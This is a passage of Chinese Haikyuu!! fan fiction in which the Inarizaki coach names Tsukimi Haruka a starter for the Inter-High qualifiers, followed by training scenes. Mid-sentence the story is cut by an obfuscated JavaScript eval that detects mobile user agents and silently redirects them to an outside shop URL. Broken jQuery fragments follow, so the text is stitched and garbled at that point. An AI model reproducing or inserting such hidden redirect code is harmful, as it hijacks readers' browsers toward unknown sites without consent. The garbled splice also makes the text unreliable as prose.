“阿遥!你看哪呢”黑须监督放下合宿统计的数据,一抬头就看见月见遥那小子整个身体都向左边侧着,追球时来了个转圈圈。

    月见晕乎乎地捂着头,不明所以地看向黑须监督。

    “Duang”银岛一个卸力,排球砸在了月见遥的头上。

    “私密马赛”银岛急忙上前,揉了揉他的脑袋。

    [奇怪奇怪,怎么老是砸到阿遥]

    黑须监督走过来,无奈地开口,“站这个位置身体要朝右,不然5号位传球到你右边的话你就追不上球了”

    “是”月见遥挺直身体。

    反正训练都已经暂停了,黑须监督干脆就让他们坐下,讨论一下最近的近况。

    “IH预选赛的对战表已经出来了”黑须监督将名单优先递给了北信介。

    北信介接过名单,身后冒出两个背后灵好奇地趴在他背上。

    宫侑大致扫了一眼,随后就觉得无趣地坐了回去,“哎,每年都是这些队伍,实在是太无趣了,决赛估计又是和立冰打”。

    稻荷崎在兵库的统治力可以说跟近几年的白鸟泽在宫城还要如日中天,几乎每年都是他们打进全国。

    这也是为什么队伍里有人能上电视的原因,除开宫双子他们的人格魅力,还有这个球队的盛誉加成,可以说稻荷崎是兵库县当之无愧的明星球队,也是顶级豪门。

    “阿侑,一味在意强大的对手很可能会在意想不到的地方栽跟头”北信介一如既往地沉静。

    “没错,信介说的对”这也正是黑须监督想说的,“强大的对手固然会让比赛更有趣,但如果轻视其他对手可能会狠栽跟头”

    “我知道的啦。”

    宫侑挑眉应声,眼底掠过一丝锐利张扬的寒芒。

    “而且......我和大见教练一致决定,这次县大会要让阿遥出场”黑须监督的脸色实在算不得好看,一转头大见教练也一片肃然。

    短暂的死寂过后,场上瞬间炸开了细碎的骚动,原本静坐的队员们纷纷支起身子,视线死死锁着角落的月见遥。

    虽然已经有了准备,可等到监督真正宣布结果的那天,大家还是忍不住流露出羡慕。

    可羡慕归羡慕,大家也衷心地祝福着他。毕竟,月见遥的进步有目共睹,天生就是那块料儿。

    [啧啧,我们家池面副攻的出道战]

    角名离他最近,也是最先开口的,“终于可以上场给对手展示才艺了,久等了”

    “哈?”月见遥不满地噘着嘴,“我才不是去表演才艺的”

    不就是鱼跃的时候冲太猛,用头把球顶起来像海豹嘛;不就是用脸接球嘛;不就是排球总是跟导弹一样精准砸头嘛......

    [可恶,为什么越想越觉得形象......]

    宫侑转过身来,上下打量了月见遥一番,挑了挑眉:“啧,终于要让这小子上了啊。”

    你一脸太挑剔的表情是什么鬼?难道不应该恭喜我嘛!

    月见遥深吸一口气,努力让自己的表情看起来不那么绝望。

    一个两个的,把我当成定时炸弹了。

    “哟西,这样的话我们稻荷崎就又多了个池面选手,肯定又要大受关注了。对了,阿遥还没上过电视吧?想不想上电视?”银岛结询问着,月见遥摇了摇头。

    阿兰笑着打趣他,“上回叔叔阿姨都对你见之难忘呢,据说还有人想找你签名”

    “人气超过阿侑阿治”大耳练也打趣着拍了拍他的肩膀。

    喂喂喂,偏题了吧。

    月见遥不好意思地红了红耳朵。

    “对了阿遥,”北信介温和地开口,“既然要上场了,训练量要加倍,明天开始我会帮你安排加练。”

    !!!

    北信介的声音明明那么温柔,可月见遥只觉得如冬日寒风一般,快要把他冰冻了。

    “恭喜”宫治淡淡地祝福。

    [不要在这个时候说恭喜啊,很有歧义哎]

    黑须监督看着他们,勾起一抹浅笑。

    原本按照月见遥那三脚猫水平,黑须监督还想在等等。毕竟月见遥除了拦网,其他技巧都太烂了。

    把他放进稻荷崎,就仿佛主动放进了一个定时炸弹。

    而且月见遥那随心所欲的拦网可谓是有利有弊,从某种程度上可以说是加强了拦网,但有时也会破坏拦网的协调性。他脑子灵,手脚快,总是会比队友快一步,拦住了还好,拦不住就暴露了一块空缺给对手。

    直到看到了白鸟泽天童觉,黑须监督慢慢来的想法逐渐被取代。连鹫匠监督都愿意给5号机会,更何况是一向自认为敢闯敢拼的他呢。

    实战永远都是最快的进步方法,他要用IH这几场比赛打磨月见遥的才能。

    “好了,安静一点。”稻荷崎众人迅速闭嘴,等候着监督发话。

    “阿遥,我和大见教练之所以定你首发,是综合考虑了你的拦网反应、弹跳高度,但是......”他话锋一转。

    大见教练在一旁补齐了他的话,毫不避讳地点出问题,“你的短板也很明显,经验不足,基础站位粗糙,接球和一传存在很大问题,接下来的时间我们一起去克服吧”。

    听完月见遥胸口瞬间涌上一股滚烫。

    他用力抿唇,重重应声:“我记住了!接下来我一定认真打好每一球!”

    打排球真的很辛苦,跑步、垫球、接发每天都要重复机械地训练,月见遥痛苦的煎熬着,觉得自己大概一辈子不会喜欢排球了,也在夜里有过退社的念头,虽然仅仅只是一瞬间。

    他想赢......或者说他想要稻荷崎的大家赢,他们一起去赢下比赛,拿下大家心心念念的冠军奖杯。

    黑须监督满意地点点头,高声敲定最后安排:“过往到今天为止,接下来去迎接更美好的明天吧。从今天开始,全员加练联动配合,备战IH县大会!”

    “是!!!”整齐响亮的声音响彻整个训练场,少年们的声音热血高昂。

    [赢下比赛]

    [然后去全国]

    [拿下冠军]

    [成为日本第一!!]

    [来吧!来吧!]

    稻荷崎众人:好想......好想站上那最高的舞台。

    “砰”大见教练站在高梯上,狠狠把球扣到了阿兰的手上,“下一个!”

    “是”银岛结微微弯曲着膝盖,“砰”

    球从他的臂弯弹了出去。

    “砰”不给他反应的机会,教练又扣了一颗球给他,这回他接下了,然后自觉排到队伍末端。

    “砰”教练狠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651282|204313||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狠扣下,“再来”

    “是”月见遥不敢松懈。

    “砰”又是一颗球,几乎在他的前面落地。月见遥飞扑着,将球高高接起,胸口擦过去留下一阵钝痛。

    “不错,下一个”听到大见教练发话,月见遥麻溜地爬起来,给后面的人让位。

    墙上的“无需追忆昨日”的横幅静静注视着这片球场的孩子。

    月见遥仰着头,第一次认真地看了看这位球场老资历。

    他低下头,看了看自己的手。

    手臂上有新磨出来的红痕,正微微发烫。

    ......

    “接下来是扣球训练,然后拦网训练”黑须监督马不停蹄地拉来一框框排球,一边亲自捡起场上的排球。

    虽然是备战IH,但并不意味着其他人不参加训练,一年级们都上场了也就没人捡球了,凡事都得黑须监督亲力亲为。

    “是”

    宫侑迅速来到网下,从框里拿出球,精准地传到网的正上方附近。

    “砰”阿兰在中间狠狠扣了下去。

    “nice supaiku”

    “砰”银岛从宫侑的背后扣球。

    宫侑看了眼宫治,毫不犹疑地朝他托了个快攻,“砰”。

    宫治迅速跑位,一个前冲将球扣了下去,然后迅速离开。

    来到月见遥。

    宫侑给了他一个前飞,月见遥调整着脚下的位置,视线一直死死地黏住球,估算着位置差不多了之后,狠狠冲上前,来了个单脚扣球。他将重心全部移到左脚,起跳丝毫不逊,高高冒头,“砰”。

    他朝着网的正下方死死盖了下去。

    宫侑的传球让他很舒适,单脚落地后也没失去平衡。

    “Nice スパイク”

    “砰”理石平介也毫不逊色地打了个漂亮的直线球。

    训练结束已经来到晚上九点,比平时训练多了一个小时。这几个小时里他们一直在跑和跳,手臂上的颜色呈现出一种深色的红,看上去已经肿了。

    月见遥顾不得自己痛得发麻的手臂,伸出手来,尽力稳住自己摇晃的身姿。他的腿直打颤,停都停不下来,已经到了寸步难行的地步。

    队员们纷纷小心翼翼地经过,深怕他摔到。

    阿兰和角名对视一眼,随后拉住了他的胳膊,拖拽着他去到更衣室。

    “疼疼疼,轻点轻点!”月见遥既不想自己走,也不想别人拽着他。

    “都不用走路了就偷着乐吧”他从兜里掏出手机,拍下了月见遥半死不活的样子。

    月见遥趴在长凳上,全身上下只有眼珠还有力气,可以转动,“请不要拍我!”

    好丢人......他都不敢想象,角名到底拍了多少张他的丑照。

    “不,这些都是你成长的证明,我会好好记录的”角名又按下了快门,“到时候给你做个锦集”。

    “哇塞,阿遥你赚了”银岛上前拍了拍他的肩,“角名只给宫双子做过锦集,你也是独一份了”。

    宫......宫双子?有一种不详的预感,总感觉那个锦集不是个好东西。

    但他全身已无任何力气,只能无可奈何的祈求着角名的良心发现。

    可惜,角名狐眯着眼,不仅没有良心发现,还又拍了几张。